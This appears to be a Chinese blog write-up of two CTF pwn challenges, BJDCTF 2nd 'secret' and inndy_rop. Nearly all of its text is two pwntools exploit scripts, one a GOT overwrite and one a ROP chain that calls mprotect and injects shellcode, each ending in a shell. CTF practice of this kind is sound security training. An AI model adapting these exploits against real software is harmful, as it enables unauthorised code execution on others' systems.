[BJDCTF 2nd]secret&&inndy_rop

约定不等于承诺〃 2023-02-28 05:22 81阅读 0赞

[BJDCTF 2nd]secret

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
exp

  1. from pwn import *
  2. context.log_level = 'debug'
  3. def debug_pause():
  4. log.info(proc.pidof(p))
  5. pause()
  6. proc_name = './secret'
  7. p = process(proc_name)
  8. # p = remote('node3.buuoj.cn', 28831)
  9. elf = ELF(proc_name)
  10. printf_got = elf.got['printf']
  11. payload = b'/bin/sh'.ljust(0x10, b'\x00') + p32(printf_got)
  12. p.sendafter('name?', payload)
  13. secrets = [0x476B, 0x2D38, 0x4540, 0x3E77, 0x3162, 0x3F7D, 0x357A, 0x3CF5, 0x2F9E, 0x41EA, 0x48D8, 0x2763, 0x474C, 0x3809, 0x2E63]
  14. for secret in secrets:
  15. p.sendafter('Secret: ', str(secret))
  16. p.sendafter('Secret:', str(999))
  17. p.interactive()

在这里插入图片描述

inndy_rop

exp

  1. from pwn import *
  2. context.log_level = 'debug'
  3. def debug_pause():
  4. log.info(proc.pidof(p))
  5. pause()
  6. proc_name = './rop'
  7. p = process(proc_name)
  8. # p = remote('node3.buuoj.cn', 28801)
  9. elf = ELF(proc_name)
  10. mprotect_addr = elf.sym['mprotect']
  11. bss_start = elf.bss() & ~(elf.bss()% (4 * 1024))
  12. bss_size = 0x100
  13. bss_per = 0x7 # 0b111
  14. pop3ret = 0x08062d2b
  15. read_addr = elf.sym['read']
  16. payload = b'a' * (0xc + 0x4) + p32(mprotect_addr) + p32(pop3ret) + p32(bss_start) + p32(bss_size) + p32(bss_per) + p32(read_addr) + p32(bss_start) + p32(0x0) + p32(bss_start) + p32(bss_size)
  17. p.sendline(payload)
  18. # shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
  19. # p.send(shellcode)
  20. p.send(asm(shellcraft.sh()))
  21. p.interactive()

在这里插入图片描述

发表评论

表情:
评论列表 (有 0 条评论,81人围观)

还没有评论,来说两句吧...

相关阅读